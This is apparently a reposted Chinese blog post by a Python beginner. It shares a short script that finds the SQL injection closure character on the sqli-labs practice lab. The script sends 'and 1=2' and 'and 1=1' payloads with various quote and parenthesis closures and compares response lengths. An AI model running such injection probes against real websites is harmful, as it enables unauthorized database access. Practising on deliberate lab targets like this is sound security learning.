一个关于sql注入寻找闭合的python小脚本

头一天开始学python,在w3c上看了整整一天,第二天就开始对着一个成品的脚本尝试着敲了一个小脚本用来跑闭合的,和老师一起发现了几个关于python里urllib.request模块额问题

代码一直就敲的不是很好,勿喷

上源码


import urllib.request


url = ""
url_bihe = "http://192.168.60.129/sqli-labs-master/Less-1/"  #被攻击网页的url

def FindBihe():
    bihe = ['', '%27', '%22', ')', '%27)', '%22)', '))', '%27))', '%22))']
    for i in bihe:
        url_bihe2=url_bihe+"?id=1"+i+"%20and%201=2--+"  
        res=urllib.request.urlopen(url_bihe2)
        length = len(res.read())  #长度一样不解码以提高程序效率
        url_bihe1=url_bihe+"?id=1"+i+"and%201=1--+" 
        res1=urllib.request.urlopen(url_bihe1)
        length1 = len(res1.read())    
        if(length1 != length):
            print('该网页sql注入闭合是'+i)
            return i
            break
            print('匹配失败')
    return i

FindBihe()

测试环境Python自带IDLE

需要注意的是,

urllib.request.urlopen函数所接受的URL对格式有着严格的要求,必须把在内的所有空格改为url编码的%20,所测试闭合也要改为相应的编码格式,不然程序会报错

之前就是卡在url这一步,很绝望,所有思路都写好就是报错,十分绝望,看到这篇博客的朋友可以少走点弯路

这里把这个功能添加为一个函数,准备日后找些碎片时间写一个整合的自动化注入脚本

就当对SQL注入更好地理解了吧

发布了25 篇原创文章 · 获赞 27 · 访问量 4144

猜你喜欢

转载自blog.csdn.net/Alexz__/article/details/100904705